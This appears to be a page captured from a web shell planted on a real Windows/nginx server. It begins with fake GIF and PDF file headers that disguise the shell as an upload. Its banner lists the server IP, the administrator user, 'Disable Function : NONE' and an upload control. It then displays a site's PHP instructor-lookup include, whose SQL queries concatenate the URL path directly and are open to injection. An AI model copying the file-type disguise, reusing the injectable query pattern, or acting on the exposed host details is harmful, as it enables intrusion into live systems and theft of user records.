GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/ |
Upload File : |
<? // common/InstructorInfo.phpinc // Gets instructor information based on URL and database. // Returns: Instructor['Id']['Name']['Firstname']['Lastname']['eMail'] debugTrackBegin(); #echo __FILE__; $Instructor = array(); /** / if ( !isset($__currentPath) or $__currentPath = '' ) { $__currentPath = explode("/",$_SERVER['PHP_SELF']); } /**/ $__currentPath = explode("/",$_SERVER['PHP_SELF']); #printVar('$__currentPath',$__currentPath); if ( isset($__currentPath[1]) ) { // Search for the instructor info based on first folder path name and FirstName+LastName. $query = " SELECT user.userId, userFirstName, userLastName, userNickname, userEmail FROM `user` INNER JOIN `useruserpermission` ON useruserpermission.userId = user.userId WHERE CONCAT(userFirstName,userLastName) = '".$__currentPath[1]."' "; #d_Var('$query',$query,'q',false,true); $__userResult = query_do($query); #d_Var('__userResult',$__userResult,'',false,true); $__userResultCount = $_SESSION['qry']['count']; if ($__userResultCount != 1) { // Instructor info not found by FirstName+LastName. // Search for the instructor info based on first folder path name and Nickname+LastName. $query = " SELECT user.userId, userFirstName, userLastName, userNickname, userEmail FROM `user` INNER JOIN `useruserpermission` ON useruserpermission.userId = user.userId WHERE CONCAT(userNickname,userLastName) = '".$__currentPath[1]."' "; $__userResult = query_do($query); $__userResultCount = $_SESSION['qry']['count']; } } else { $__userResultCount = 0; } if ( $__userResultCount == 1) { // Instructor info found. mysqli_data_seek($__userResult, 0); $__userRow = mysqli_fetch_assoc($__userResult); $Instructor['Id'] = $__userRow['userId']; if ( $__userRow['userNickname'] ) { $Instructor['Name'] = $__userRow['userNickname'].' '.$__userRow['userLastName']; $Instructor['Firstname'] = $__userRow['userNickname']; $Instructor['Lastname'] = $__userRow['userLastName']; } else { $Instructor['Name'] = $__userRow['userFirstName'].' '.$__userRow['userLastName']; $Instructor['Firstname'] = $__userRow['userFirstName']; $Instructor['Lastname'] = $__userRow['userLastName']; } $Instructor['eMail'] = $__userRow['userEmail']; } else { // Instructor info not found. $Instructor['Id'] = '0'; $Instructor['Name'] = 'UNKNOWN'; $Instructor['Firstname'] = 'UNKNOWN'; $Instructor['Lastname'] = ''; $Instructor['eMail'] = ''; } $Instructor['Path'] = str_replace(' ','',$Instructor['Name']); #printVar('$Instructor',$Instructor); $InstructorCalendar = array(); if ( isset($Instructor) && isset($Instructor['Id']) && $Instructor['Id'] ) { // Get InstructorCalendar. $query = " SELECT calendaruserId, userId, userYRTR, userDate, userLocation, userNote FROM `calendaruser` WHERE userId = ".$Instructor['Id']." AND userYRTR = '".query_safe($_SESSION['YRTR']['User'])."' ORDER BY userId, userDate "; #d_Var('calendaruserResult',$query,'dq'); $calendaruserResult = query_do($query); $calendaruserResultCount = $_SESSION['qry']['count']; #d_Var('$calendaruserResult',$calendaruserResult,'d'); if ($calendaruserResultCount) { $InstructorCalendar = array(); mysqli_data_seek($calendaruserResult, 0); while ($calendaruserRow = mysqli_fetch_assoc($calendaruserResult)) { $InstructorCalendar[$calendaruserRow['userDate']] = array(); $InstructorCalendar[$calendaruserRow['userDate']]['Location'] = $calendaruserRow['userLocation']; $InstructorCalendar[$calendaruserRow['userDate']]['Note'] = $calendaruserRow['userNote']; #$InstructorCalendar[$calendaruserRow['userDate']] = $calendaruserRow['userLocation'].' | '.$calendaruserRow['userNote']; } } } // Clean up. unset($__currentPath); unset($__userResult); unset($__userResultCount); unset($__userRow); debugTrackEnd(); ?>